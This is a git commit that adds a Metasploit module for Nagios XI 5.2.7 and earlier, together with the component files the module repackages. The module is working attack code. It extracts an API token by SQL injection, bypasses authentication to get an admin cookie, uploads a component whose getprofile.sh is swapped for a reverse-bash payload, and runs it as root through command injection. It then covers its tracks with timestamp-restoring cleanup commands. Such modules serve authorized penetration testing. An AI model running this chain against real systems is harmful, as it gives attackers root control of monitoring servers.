Add Nagios XI exploit
parent
fd07da3519
commit
5f08591fef
Binary file not shown.
|
@ -0,0 +1,9 @@
|
|||
02-19-2013 1.2
|
||||
------------
|
||||
- Added New functionality to download LOG files and latest snapshots in a zip for support. - SL
|
||||
- Added ps -aef to the log list - SL
|
||||
|
||||
|
||||
08-28-2012 1.1
|
||||
----------
|
||||
- Added XI Version -SW
|
|
@ -0,0 +1,64 @@
|
|||
#!/bin/bash
|
||||
|
||||
|
||||
echo "-------------------Fetching Information-------------------"
|
||||
|
||||
echo "Please wait......."
|
||||
|
||||
tail -100 /usr/local/nagios/var/nagios.log &> /usr/local/nagiosxi/var/components/profile/nagios.txt;
|
||||
|
||||
echo "Creating nagios.txt...";
|
||||
|
||||
tail -100 /usr/local/nagios/var/perfdata.log &> /usr/local/nagiosxi/var/components/profile/perfdata.txt;
|
||||
|
||||
echo "Creating perfdata.txt...";
|
||||
|
||||
tail -100 /usr/local/nagios/var/npcd.log &> /usr/local/nagiosxi/var/components/profile/npcd.txt;
|
||||
|
||||
echo "Creating npcd.txt...";
|
||||
|
||||
tail -100 /usr/local/nagiosxi/var/cmdsubsys.log > /usr/local/nagiosxi/var/components/profile/cmdsubsys.txt;
|
||||
|
||||
echo "Creating cmdsubsys.txt...";
|
||||
|
||||
tail -100 /usr/local/nagiosxi/var/eventman.log > /usr/local/nagiosxi/var/components/profile/eventman.txt;
|
||||
|
||||
echo "Creating eventman.txt...";
|
||||
|
||||
############ We'll need a sudoers rule for these, only root can read them
|
||||
|
||||
#tail -100 /var/log/messages > /usr/local/nagiosxi/var/components/profile/systemlog.txt;
|
||||
|
||||
#echo "Creating systemlog.txt...";
|
||||
|
||||
#tail -100 /var/log/httpd/error_log > /usr/local/nagiosxi/var/components/profile/apacheerrors.txt;
|
||||
|
||||
#echo "Creating apacheerrors.txt...";
|
||||
|
||||
#tail -100 /var/log/mysqld.log > /usr/local/nagiosxi/var/components/profile/mysqllog.txt;
|
||||
|
||||
#echo "Creating mysqllog.txt...";
|
||||
|
||||
df -h > /usr/local/nagiosxi/var/components/profile/filesystem.txt;
|
||||
|
||||
echo "Creating filesystem.txt...";
|
||||
|
||||
ps -aef > /usr/local/nagiosxi/var/components/profile/psaef.txt;
|
||||
|
||||
echo "Dumping PS - AEF to psaef.txt...";
|
||||
|
||||
top -b -n 1 > /usr/local/nagiosxi/var/components/profile/top.txt;
|
||||
|
||||
echo "Creating top log...";
|
||||
|
||||
FILE=$(ls /usr/local/nagiosxi/nom/checkpoints/nagioscore/ | sort -n -t _ -k 2 | grep .gz | tail -1); cp /usr/local/nagiosxi/nom/checkpoints/nagioscore/$FILE /usr/local/nagiosxi/var/components/profile/;
|
||||
|
||||
echo "Adding latest snapshot to: `pwd`"
|
||||
|
||||
## temporarily change to that directory, zip, then leave
|
||||
(
|
||||
cd /usr/local/nagiosxi/var/components/ && zip -r profile.zip profile
|
||||
)
|
||||
echo "Zipping logs directory...";
|
||||
|
||||
echo "Backup and Zip complete!";
|
|
@ -0,0 +1,106 @@
|
|||
<?php
|
||||
// MASS ACKNOWLEDGE COMPONENT
|
||||
//
|
||||
// Copyright (c) 2010 Nagios Enterprises, LLC. All rights reserved.
|
||||
//
|
||||
// $Id: profile.inc.php 115 2010-08-16 16:15:26Z mguthrie $
|
||||
|
||||
//include the helper file
|
||||
require_once(dirname(__FILE__).'/../componenthelper.inc.php');
|
||||
|
||||
// respect the name
|
||||
$profile_component_name="profile";
|
||||
|
||||
// run the initialization function
|
||||
profile_component_init();
|
||||
|
||||
////////////////////////////////////////////////////////////////////////
|
||||
// COMPONENT INIT FUNCTIONS
|
||||
////////////////////////////////////////////////////////////////////////
|
||||
|
||||
function profile_component_init(){
|
||||
global $profile_component_name;
|
||||
|
||||
//boolean to check for latest version
|
||||
$versionok=profile_component_checkversion();
|
||||
|
||||
//component description
|
||||
$desc=gettext("This component creates a system profile menu in the Admin panel
|
||||
which can be used for troubleshooting purposes.");
|
||||
|
||||
if(!$versionok)
|
||||
$desc="<b>".gettext("Error: This component requires Nagios XI 20011R1.1 or later.")."</b>";
|
||||
|
||||
//all components require a few arguments to be initialized correctly.
|
||||
$args=array(
|
||||
|
||||
// need a name
|
||||
COMPONENT_NAME => $profile_component_name,
|
||||
COMPONENT_VERSION => '1.1',
|
||||
COMPONENT_DATE => '8/28/2012',
|
||||
|
||||
// informative information
|
||||
COMPONENT_AUTHOR => "Nagios Enterprises, LLC",
|
||||
COMPONENT_DESCRIPTION => $desc,
|
||||
COMPONENT_TITLE => "System Profile",
|
||||
|
||||
);
|
||||
|
||||
//register this component with XI
|
||||
register_component($profile_component_name,$args);
|
||||
|
||||
// register the addmenu function
|
||||
if($versionok)
|
||||
register_callback(CALLBACK_MENUS_INITIALIZED,'profile_component_addmenu');
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
///////////////////////////////////////////////////////////////////////////////////////////
|
||||
// MISC FUNCTIONS
|
||||
///////////////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
function profile_component_checkversion(){
|
||||
|
||||
if(!function_exists('get_product_release'))
|
||||
return false;
|
||||
//requires greater than 2011R1
|
||||
if(get_product_release()<201)
|
||||
return false;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
function profile_component_addmenu($arg=null){
|
||||
global $profile_component_name;
|
||||
//retrieve the URL for this component
|
||||
$urlbase=get_component_url_base($profile_component_name);
|
||||
//figure out where I'm going on the menu
|
||||
$mi=find_menu_item(MENU_ADMIN,"menu-admin-managesystemconfig","id");
|
||||
if($mi==null) //bail if I didn't find the above menu item
|
||||
return;
|
||||
|
||||
$order=grab_array_var($mi,"order",""); //extract this variable from the $mi array
|
||||
if($order=="")
|
||||
return;
|
||||
|
||||
$neworder=$order+0.1; //determine my menu order
|
||||
|
||||
//add this to the main home menu
|
||||
add_menu_item(MENU_ADMIN,array(
|
||||
"type" => "link",
|
||||
"title" => "System Profile",
|
||||
"id" => "menu-admin-profile",
|
||||
"order" => $neworder,
|
||||
"opts" => array(
|
||||
//this is the page the menu will actually point to.
|
||||
//all of my actual component workings will happen on this script
|
||||
"href" => $urlbase."/profile.php",
|
||||
)
|
||||
));
|
||||
|
||||
}
|
||||
|
||||
|
||||
?>
|
|
@ -0,0 +1,298 @@
|
|||
<?php
|
||||
//
|
||||
// Copyright (c) 2008-2009 Nagios Enterprises, LLC. All rights reserved.
|
||||
//
|
||||
// $Id: globalconfig.php 319 2010-09-24 19:18:25Z egalstad $
|
||||
//ob_start();
|
||||
require_once(dirname(__FILE__).'/../componenthelper.inc.php');
|
||||
|
||||
// initialization stuff
|
||||
pre_init();
|
||||
|
||||
// start session
|
||||
init_session();
|
||||
|
||||
// grab GET or POST variables
|
||||
grab_request_vars();
|
||||
|
||||
// check prereqs
|
||||
check_prereqs();
|
||||
|
||||
// check authentication
|
||||
check_authentication(false);
|
||||
|
||||
// only admins can access this page
|
||||
if(is_admin()==false){
|
||||
$content .= $lstr['NotAuthorizedErrorText'];
|
||||
exit();
|
||||
}
|
||||
|
||||
//display system profile
|
||||
|
||||
$text = grab_request_var('savetext',false);
|
||||
|
||||
show_profile($text);
|
||||
|
||||
$content = '';
|
||||
|
||||
|
||||
function show_profile($text = false) {
|
||||
|
||||
global $content;
|
||||
|
||||
if($text) {
|
||||
|
||||
////////////////////System Logs / Snapshot Dump////////////
|
||||
get_logs_and_snapshot();
|
||||
/*
|
||||
header("Content-Disposition: attachment; filename=profile.txt");
|
||||
header("Content-Type: text/plain");
|
||||
//set header type as a text download
|
||||
$content .= "===Nagios XI Installation Profile===\n\n";
|
||||
*/
|
||||
}
|
||||
else {
|
||||
do_page_start(null,true);
|
||||
|
||||
build_profile_output($text);
|
||||
|
||||
//close page
|
||||
if(!$text) {
|
||||
echo nl2br($content);
|
||||
do_page_end(true);
|
||||
}
|
||||
else {
|
||||
//str_replace <hx> tags with newlines
|
||||
$tags = array('<h4>','</h4>','<h5>','</h5>','<pre>','</pre>');
|
||||
$nls = array("\n====","====\n\n","\n===","====\n\n","\n\n","\n\n");
|
||||
$content= str_replace($tags,$nls,$content);
|
||||
//return $content;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
function build_profile_output($text) {
|
||||
global $content;
|
||||
|
||||
$content .= "<h3>Nagios XI Installation Profile</h3>";
|
||||
|
||||
if(!$text) {
|
||||
$content .=" <div style='width:150px; height:19px; float:right;' class='bluebutton'>";
|
||||
$content .=" <a href='{$_SERVER['PHP_SELF']}?savetext=true'>Download Profile</a>";
|
||||
$content .=" </div>";
|
||||
}
|
||||
|
||||
//SYSTEM
|
||||
show_system_settings();
|
||||
|
||||
|
||||
|
||||
//SERVER INFO
|
||||
show_apache_settings();
|
||||
|
||||
//TIME STUFF
|
||||
show_time_settings();
|
||||
|
||||
//XI Specific Data
|
||||
show_xi_info();
|
||||
|
||||
//subsystem calls
|
||||
run_subsystem_tests();
|
||||
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
function show_system_settings() {
|
||||
|
||||
global $content;
|
||||
|
||||
$profile = php_uname('n');
|
||||
$profile .= ' '.php_uname('r');
|
||||
$profile .= ' '.php_uname('m');
|
||||
exec('which gnome-session',$output,$gnome);
|
||||
|
||||
$content .= "<h5>System:</h5>";
|
||||
$content .= "Nagios XI Version : ".get_product_version()."\n";
|
||||
$content .= "$profile\n";
|
||||
//detect distro and version
|
||||
$file = @file_get_contents('/etc/redhat-release');
|
||||
if(!$file)
|
||||
$file = @file_get_contents('/etc/fedora-release');
|
||||
if(!$file)
|
||||
$file = @file_get_contents('/etc/lsb-release');
|
||||
|
||||
$content .= $file;
|
||||
$content .= ($gnome > 0) ? "Gnome is not installed\n" : " Gnome Installed\n";
|
||||
|
||||
if(check_for_proxy()) $content.= "Proxy appears to be in use\n";
|
||||
|
||||
}
|
||||
|
||||
|
||||
function show_apache_settings()
|
||||
{
|
||||
global $content;
|
||||
|
||||
$content .= "<h5>Apache Information</h5>";
|
||||
$content .= "PHP Version: ".PHP_VERSION."\n";
|
||||
$content .= "Agent: ".$_SERVER['HTTP_USER_AGENT']."\n";
|
||||
$content .= "Server Name: ".$_SERVER['SERVER_NAME']."\n";
|
||||
$content .= "Server Address: ".$_SERVER['SERVER_ADDR']."\n";
|
||||
$content .= "Server Port: ".$_SERVER['SERVER_PORT']."\n";
|
||||
}
|
||||
|
||||
|
||||
function show_time_settings() {
|
||||
|
||||
global $content;
|
||||
|
||||
$php_tz = (ini_get('date.timezone') == '') ? 'Not set' : ini_get('date.timezone');
|
||||
$content .= "<h5>Date/Time</h5>";
|
||||
$content .= "PHP Timezone: $php_tz \n";
|
||||
$content .= "PHP Time: ".date('r')."\n";
|
||||
$content .= "System Time: ".exec('/bin/date -R')."\n";
|
||||
|
||||
}
|
||||
|
||||
|
||||
function show_xi_info() {
|
||||
global $content;
|
||||
|
||||
//systats
|
||||
$xml = get_xml_sysstat_data();
|
||||
$statdata = '';
|
||||
//daemons
|
||||
foreach($xml->daemons->daemon as $d) {
|
||||
$statdata .= "{$d->output}\n";
|
||||
}
|
||||
//hostcount
|
||||
$result = (exec_sql_query(DB_NDOUTILS,"SELECT COUNT(*) FROM nagios_hosts"));
|
||||
foreach($result as $r) $hostcount = $r[0];
|
||||
//servicecount
|
||||
$result = exec_sql_query(DB_NDOUTILS,"SELECT COUNT(*) FROM nagios_services");
|
||||
foreach($result as $r) $servicecount = $r[0];
|
||||
//add to statdata string
|
||||
$statdata .= "CPU Load 15: {$xml->load->load15} \n";
|
||||
$statdata .= "Total Hosts: $hostcount \n";
|
||||
$statdata .= "Total Services: $servicecount \n";
|
||||
|
||||
//content output
|
||||
$content .= "<h5>Nagios XI Data</h5>";
|
||||
$content .= $statdata;
|
||||
//url reference calls
|
||||
$content .= "Function 'get_base_uri' returns: ".get_base_uri()."\n";
|
||||
$content .= "Function 'get_base_url' returns: ".get_base_url()."\n";
|
||||
$content .= "Function 'get_backend_url(internal_call=false)' returns: ".get_backend_url(false)."\n";
|
||||
$content .= "Function 'get_backend_url(internal_call=true)' returns: ".get_backend_url(true)."\n";
|
||||
}
|
||||
|
||||
|
||||
|
||||
function check_for_proxy() {
|
||||
|
||||
$proxy = false;
|
||||
|
||||
$f = @fopen('/etc/wgetrc','r');
|
||||
if($f) {
|
||||
while(!feof($f)) {
|
||||
$line = fgets($f);
|
||||
if($line[0]=='#') continue;
|
||||
if(strpos($line,'use_proxy = on')!==FALSE) {
|
||||
$proxy = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
$proxy_env = exec('/bin/echo $http_proxy');
|
||||
if(strlen($proxy_env > 0)) $proxy = true;
|
||||
return $proxy;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
function run_subsystem_tests() {
|
||||
|
||||
global $cfg;
|
||||
global $content;
|
||||
|
||||
//localhost ping resolve
|
||||
$content .= "<h5>Ping Test localhost</h5>";
|
||||
$ping = '/bin/ping -c 3 localhost 2>&1';
|
||||
$content .= "Running: <pre>$ping </pre>";
|
||||
$handle = popen($ping,'r');
|
||||
while(($buf = fgets($handle, 4096)) !=false)
|
||||
$content .= $buf;
|
||||
|
||||
pclose($handle);
|
||||
|
||||
//get system info
|
||||
$https=grab_array_var($cfg,"use_https",false);
|
||||
$url=($https==true)?"https":"http";
|
||||
|
||||
//nagiosql resolve
|
||||
$content .= "<h5>Test wget To locahost</h5>";
|
||||
$url.="://localhost".$cfg['component_info']['nagiosql']['direct_url']."/index.php";
|
||||
$content .= "WGET From URL: $url \n";
|
||||
$content .= "Running: <pre>/usr/bin/wget $url </pre>";
|
||||
$handle = popen("/usr/bin/wget ".$url.' -O /tmp/nagiosql_index.tmp 2>&1', 'r');
|
||||
while(($buf = fgets($handle, 4096)) !=false)
|
||||
$content .= $buf;
|
||||
|
||||
pclose($handle);
|
||||
|
||||
}
|
||||
|
||||
function get_logs_and_snapshot() {
|
||||
global $content;
|
||||
//zip logs, latest snapshot, df -h, and top
|
||||
exec('/bin/mkdir -p /usr/local/nagiosxi/var/components/profile',$output,$code);
|
||||
|
||||
//dump existing profile into file
|
||||
$profile = build_profile_output(true);
|
||||
//str_replace <hx> tags with newlines
|
||||
$tags = array('<h4>','</h4>','<h5>','</h5>','<pre>','</pre>');
|
||||
$nls = array("\n====","====\n\n","\n===","====\n\n","\n\n","\n\n");
|
||||
$content= str_replace($tags,$nls,$content);
|
||||
file_put_contents('/usr/local/nagiosxi/var/components/profile/profile.txt',$profile);
|
||||
|
||||
//get logs and config snapshot
|
||||
exec('./getprofile.sh',$output,$code);
|
||||
|
||||
//add sanity checking
|
||||
if($code > 0 ) {
|
||||
echo "PROFILE BUILD FAILED<br />\n";
|
||||
echo array_dump($output); //dump output where newlines are html breaks
|
||||
echo "CODE: $code<br />";
|
||||
exit();
|
||||
}
|
||||
|
||||
// zip was packaged, send it to user
|
||||
$zip="/usr/local/nagiosxi/var/components/profile.zip";
|
||||
|
||||
//more sanity
|
||||
if(!file_exists($zip)) {
|
||||
echo "Failed to retrieve zip file!\n";
|
||||
exit();
|
||||
}
|
||||
|
||||
//chdir($dir);
|
||||
|
||||
$mime_type="application/zip";
|
||||
header('Content-type: '.$mime_type);
|
||||
header("Content-length: " . filesize($zip));
|
||||
header('Content-Disposition: attachment; filename="'.basename($zip).'"');
|
||||
$f = file_get_contents($zip,'rb');
|
||||
//print binary output to browser
|
||||
echo $f;
|
||||
|
||||
//remove zip
|
||||
unlink($zip);
|
||||
|
||||
}
|
||||
//ob_end_flush();
|
||||
?>
|
|
@ -0,0 +1,246 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Nagios XI Chained Remote Code Execution',
|
||||
'Description' => %q{
|
||||
This module exploits an SQL injection, auth bypass, file upload,
|
||||
command injection, and privilege escalation in Nagios XI <= 5.2.7
|
||||
to pop a root shell.
|
||||
},
|
||||
'Author' => [
|
||||
'Francesco Oddo', # Vulnerability discovery
|
||||
'wvu' # Metasploit module
|
||||
],
|
||||
'References' => [
|
||||
['EDB', '39899']
|
||||
],
|
||||
'DisclosureDate' => 'Mar 6 2016',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Privileged' => true,
|
||||
'Payload' => {
|
||||
'Compat' => {
|
||||
'PayloadType' => 'cmd cmd_bash',
|
||||
'RequiredCmd' => 'generic bash-tcp php perl python openssl gawk'
|
||||
}
|
||||
},
|
||||
'Targets' => [
|
||||
['Nagios XI <= 5.2.7', version: Gem::Version.new('5.2.7')]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'cmd/unix/reverse_bash',
|
||||
'LHOST' => Rex::Socket.source_address
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi!(
|
||||
'method' => 'GET',
|
||||
'uri' => '/nagiosxi/'
|
||||
)
|
||||
|
||||
return unless res && (html = res.get_html_document)
|
||||
|
||||
if (version = html.at('//input[@name = "version"]/@value'))
|
||||
vprint_status("Nagios XI version: #{version}")
|
||||
if Gem::Version.new(version) <= target[:version]
|
||||
return CheckCode::Appears
|
||||
end
|
||||
end
|
||||
|
||||
CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
if check != CheckCode::Appears
|
||||
fail_with(Failure::NotVulnerable, 'Vulnerable version not found! punt!')
|
||||
end
|
||||
|
||||
print_status('Getting API token')
|
||||
get_api_token
|
||||
print_status('Getting admin cookie')
|
||||
get_admin_cookie
|
||||
print_status('Getting monitored host')
|
||||
get_monitored_host
|
||||
|
||||
print_status('Uploading root shell')
|
||||
upload_root_shell
|
||||
print_status('Popping shell!')
|
||||
pop_dat_shell
|
||||
end
|
||||
|
||||
#
|
||||
# Cleanup methods
|
||||
#
|
||||
|
||||
def on_new_session(session)
|
||||
super
|
||||
print_status('Cleaning up...')
|
||||
cleanup_commands.each do |command|
|
||||
vprint_status(command)
|
||||
session.shell_command_token(command)
|
||||
end
|
||||
end
|
||||
|
||||
def cleanup_commands
|
||||
["base64 -d<<<#{encoded_getprofile}>../profile/getprofile.sh",
|
||||
'touch -r ../profile/{profile.php,getprofile.sh}',
|
||||
"rm -f ../../../../tmp/component-#{zip_filename}"]
|
||||
end
|
||||
|
||||
#
|
||||
# Exploit methods
|
||||
#
|
||||
|
||||
def get_api_token
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => '/nagiosxi/includes/components/nagiosim/nagiosim.php',
|
||||
'vars_get' => {
|
||||
'mode' => 'resolve',
|
||||
'host' => '\'AND(SELECT 1 FROM(SELECT COUNT(*),CONCAT((' \
|
||||
'SELECT backend_ticket FROM xi_users WHERE user_id=1' \
|
||||
'),FLOOR(RAND(0)*2))x ' \
|
||||
'FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- '
|
||||
}
|
||||
)
|
||||
|
||||
if res && res.body =~ /Duplicate entry '(.*?).'/
|
||||
@api_token = $1
|
||||
vprint_good("API token: #{@api_token}")
|
||||
else
|
||||
fail_with(Failure::UnexpectedReply, 'API token not found! punt!')
|
||||
end
|
||||
end
|
||||
|
||||
def get_admin_cookie
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => '/nagiosxi/rr.php',
|
||||
'vars_get' => {
|
||||
'uid' => "1-#{Rex::Text.rand_text_alpha(8)}-" +
|
||||
Digest::MD5.hexdigest(@api_token)
|
||||
}
|
||||
)
|
||||
|
||||
if res && (@admin_cookie = res.get_cookies.split('; ').last)
|
||||
vprint_good("Admin cookie: #{@admin_cookie}")
|
||||
get_csrf_token(res.body)
|
||||
else
|
||||
fail_with(Failure::NoAccess, 'Admin cookie not found! punt!')
|
||||
end
|
||||
end
|
||||
|
||||
def get_csrf_token(body)
|
||||
if body =~ /nsp_str = "(.*?)"/
|
||||
@csrf_token = $1
|
||||
vprint_good("CSRF token: #{@csrf_token}")
|
||||
else
|
||||
fail_with(Failure::UnexpectedReply, 'CSRF token not found! punt!')
|
||||
end
|
||||
end
|
||||
|
||||
def get_monitored_host
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => '/nagiosxi/ajaxhelper.php',
|
||||
'cookie' => @admin_cookie,
|
||||
'vars_get' => {
|
||||
'cmd' => 'getxicoreajax',
|
||||
'opts' => '{"func":"get_hoststatus_table"}',
|
||||
'nsp' => @csrf_token
|
||||
}
|
||||
)
|
||||
|
||||
return unless res && (html = res.get_html_document)
|
||||
|
||||
if (@monitored_host = html.at('//div[@class = "hostname"]/a/text()'))
|
||||
vprint_good("Monitored host: #{@monitored_host}")
|
||||
else
|
||||
fail_with(Failure::UnexpectedReply, 'Monitored host not found! punt!')
|
||||
end
|
||||
end
|
||||
|
||||
def upload_root_shell
|
||||
res = send_request_cgi!(
|
||||
'method' => 'POST',
|
||||
'uri' => '/nagiosxi/admin/components.php',
|
||||
'cookie' => @admin_cookie,
|
||||
'ctype' => "multipart/form-data; boundary=#{mime_message.bound}",
|
||||
'data' => mime_message.to_s
|
||||
)
|
||||
|
||||
if res && res.code != 200
|
||||
if res.redirect? && res.redirection.path == '/nagiosxi/install.php'
|
||||
vprint_warning('Nagios XI not configured')
|
||||
else
|
||||
fail_with(Failure::PayloadFailed, 'Failed to upload root shell! punt!')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def mime_message
|
||||
@mime ||= Rex::MIME::Message.new
|
||||
@mime.add_part(@csrf_token, nil, nil, 'form-data; name="nsp"')
|
||||
@mime.add_part('1', nil, nil, 'form-data; name="upload"')
|
||||
@mime.add_part('1000000', nil, nil, 'form-data; name="MAX_FILE_SIZE"')
|
||||
@mime.add_part(payload_zip, 'application/zip', 'binary',
|
||||
'form-data; name="uploadedfile"; ' \
|
||||
"filename=\"#{zip_filename}\"")
|
||||
@mime
|
||||
end
|
||||
|
||||
def payload_zip
|
||||
zip = Rex::Zip::Archive.new
|
||||
zip.add_r(profile_dir)
|
||||
zip.entries.delete_if { |e| e.name == 'profile/getprofile.sh' }
|
||||
zip.add_file('profile/getprofile.sh', payload.encoded)
|
||||
zip.pack
|
||||
end
|
||||
|
||||
def pop_dat_shell
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => '/nagiosxi/includes/components/perfdata/graphApi.php',
|
||||
'cookie' => @admin_cookie,
|
||||
'vars_get' => {
|
||||
'host' => @monitored_host,
|
||||
'end' => ';sudo ../profile/getprofile.sh #'
|
||||
}
|
||||
)
|
||||
|
||||
if res && res.code != 200
|
||||
fail_with(Failure::PayloadFailed, 'Failed to execute root shell! punt!')
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Utility methods
|
||||
#
|
||||
|
||||
def profile_dir
|
||||
File.join(Msf::Config.data_directory, 'exploits', 'nagios_xi', 'profile')
|
||||
end
|
||||
|
||||
def encoded_getprofile
|
||||
Rex::Text.encode_base64(File.read(File.join(profile_dir, 'getprofile.sh')))
|
||||
end
|
||||
|
||||
def zip_filename
|
||||
@zip_filename ||= Rex::Text.rand_text_alpha(8) + '.zip'
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue